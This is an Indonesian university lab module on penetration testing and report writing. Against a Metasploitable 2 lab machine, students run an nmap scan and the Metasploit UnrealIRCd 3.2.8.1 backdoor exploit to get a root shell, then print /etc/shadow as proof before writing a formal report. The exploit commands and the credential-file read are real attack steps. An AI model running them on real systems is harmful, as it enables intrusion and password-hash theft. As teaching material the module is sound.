

MODUL 10: Integrated Penetration Testing & Professional Reporting

1. Tujuan Praktikum

Setelah menyelesaikan modul ini, mahasiswa diharapkan mampu:

1. Menggabungkan seluruh tahapan keamanan siber (*Reconnaissance, Scanning, Exploitation, Post-Exploitation*) ke dalam satu alur kerja yang kohesif.
2. Melakukan simulasi *Black-Box Penetration Testing* pada target yang telah ditentukan.
3. Memahami struktur standar dari sebuah Laporan *Penetration Testing* (PTES - *Penetration Testing Execution Standard*).
4. Menulis draf laporan profesional yang mencakup *Executive Summary, Technical Findings, perhitungan CVSS, dan Rekomendasi Mitigasi*.

2. Kebutuhan Sistem & Perangkat Lunak

- **Mesin Penyerang:** Virtual Machine (VM) **Kali Linux**.
- **Mesin Target:** Virtual Machine **Metasploitable 2** (Pastikan dalam keadaan *Running* dan terhubung jaringan).
- **Perangkat Lunak:** Nmap, Metasploit Framework, Browser (untuk CVSS Calculator), dan Aplikasi Pengolah Kata (Microsoft Word, Google Docs, atau Markdown Editor).

3. Dasar Teori

A. The Penetration Testing Cycle

Dalam dunia nyata, peretasan yang legal harus mengikuti metodologi yang terstruktur. Secara umum alurnya adalah:

1. **Pre-Engagement:** Kesepakatan legal dan penentuan ruang lingkup (*scoping*).
2. **Information Gathering & Scanning:** Nmap, pencarian direktori, identifikasi versi. (Modul 2, 3, 5)
3. **Exploitation:** Memanfaatkan celah untuk masuk ke sistem. (Modul 6, 7)
4. **Post-Exploitation:** Eskalasi hak akses dan ekstraksi data. (Modul 8)
5. **Reporting:** Pembuatan laporan temuan. (Fokus Modul 10)

B. Anatomi Laporan Penetration Testing

Banyak *hacker* teknis yang hebat, tetapi gagal karena tidak bisa menulis laporan yang baik. Laporan yang baik ditujukan untuk 2 audiens: **Manajemen** (Bahasa bisnis/risiko) dan **Tim IT** (Bahasa teknis/solusi). Komponen utamanya meliputi:

- **Executive Summary:** Ringkasan non-teknis tentang risiko bisnis.
- **Methodology:** Cara pengujian dilakukan.
- **Findings & Proof of Concept (PoC):** Bukti teknis (*screenshot*) celah keamanan.
- **Risk Rating (CVSS):** Penilaian tingkat keparahan.
- **Remediation:** Cara memperbaiki celah tersebut.

4. Langkah Praktikum (Simulasi Ujian Akhir)

Skenario

Anda disewa oleh perusahaan fiktif "PT. Maju Mundur" untuk menguji keamanan server internal mereka (Metasploitable 2). Anda diminta untuk mencari minimal satu celah **Kritis** baru (yang belum pernah dibahas di modul 7 atau 8), mengeksploitasinya hingga mendapat akses *Root*, dan membuat laporan formal atas temuan tersebut.

Bagian 1: Information Gathering & Scanning (Recap)

1. Buka Terminal di Kali Linux.
2. Lakukan *port scanning* secara menyeluruh ke mesin target:

```
sudo nmap -sV -p- 192.168.56.101
```

(Ganti dengan IP Metasploitable Anda. Parameter -p- akan memindai seluruh 65.535 port. Proses ini akan memakan waktu beberapa menit).

3. **Analisis Temuan:** Perhatikan *output* Nmap. Anda akan menemukan layanan aneh berjalan di Port **6667**, yaitu **UnrealIRCd** (Layanan Chat/IRC).

Bagian 2: Vulnerability Research & Exploitation

Kita akan menginvestigasi layanan UnrealIRCd ini.

1. Buka msfconsole.
2. Lakukan pencarian exploit untuk layanan tersebut:

```
search UnrealIRCd
```

Analisis: Anda akan menemukan exploit `exploit/unix/irc/unreal_ircd_3281_backdoor`. (Celah ini terjadi karena dulu ada *hacker* yang menyusupkan *backdoor* ke *source code* asli UnrealIRCd sebelum didownload orang-orang).

3. Gunakan exploit tersebut:

```
use exploit/unix/irc/unreal_ircd_3281_backdoor
```

4. Atur target dan jalankan eksploitnya:

```
set RHOSTS 192.168.56.101
```

```
set RPORT 6667
```

```
exploit
```

5. Tunggu beberapa detik. Jika berhasil, Anda akan mendapatkan *Command Shell* (tidak ada *prompt*, langsung saja ketik perintah).
6. Verifikasi akses Anda:

```
whoami
```

BINGO! Anda langsung mendapatkan akses root tanpa perlu melakukan Privilege Escalation.

Bagian 3: Proof of Concept (PoC) & Pengumpulan Bukti

Sebagai konsultan, Anda harus membuktikan bahwa Anda benar-benar meretas server tersebut.

1. Di dalam *shell* root tadi, tampilkan file rahasia perusahaan dan ambil **Screenshot** terminal Anda:

```
cat /etc/shadow
```

```
ifconfig
```

(Kombinasi output dari */etc/shadow* dan *ifconfig* membuktikan Anda telah meretas server yang benar dengan akses tertinggi).

2. Keluar dari target:

```
exit
```

5. Tugas Praktikum: Final Reporting (Tugas Akhir)

Berdasarkan simulasi serangan pada layanan **UnrealIRCd** di atas, buatlah **Laporan Penetration Testing Profesional** menggunakan Microsoft Word / Google Docs (Kumpulkan dalam format PDF).

Laporan Anda **WAJIB** mengikuti struktur berikut:

1. COVER LAPORAN

- Judul: Laporan Penetration Testing PT. Maju Mundur
- Nama & NIM Penetration Tester (Anda)
- Tanggal Pengujian

2. EXECUTIVE SUMMARY (Ringkasan Eksekutif)

- Tulis 1-2 paragraf menggunakan **bahasa non-teknis** (jangan sebut MSF, exploit, nmap). Jelaskan kepada Direktur Perusahaan bahwa server mereka sangat tidak aman dan orang asing dapat mengambil alih kendali penuh atas server serta mencuri data rahasia klien.

3. TECHNICAL FINDINGS (Temuan Teknis)

- **Nama Kerentanan:** UnrealIRCd 3.2.8.1 Backdoor Command Execution
- **Target:** (Masukkan IP Target)
- **Port:** 6667 (TCP)
- **Severity / Tingkat Keparahan:** CRITICAL (Skor CVSS: 10.0)

- **Deskripsi:** Jelaskan secara singkat kelemahan pada versi UnrealIRCd ini (Lakukan riset di Google).

4. PROOF OF CONCEPT (Bukti Konsep)

- Masukkan **Screenshot** dari Bagian 3 praktikum.
- Berikan penjelasan langkah demi langkah (1, 2, 3...) bagaimana Anda mengeksploitasi celah ini, sehingga tim IT perusahaan bisa mereproduksi/mengulangnya.

5. REMEDIATION (Rekomendasi Perbaikan)

- Berikan saran teknis untuk memperbaiki masalah ini. (Misal: Melakukan *upgrade* versi UnrealIRCd ke versi terbaru yang bersih dari *backdoor*, atau memblokir port 6667 di Firewall jika tidak digunakan).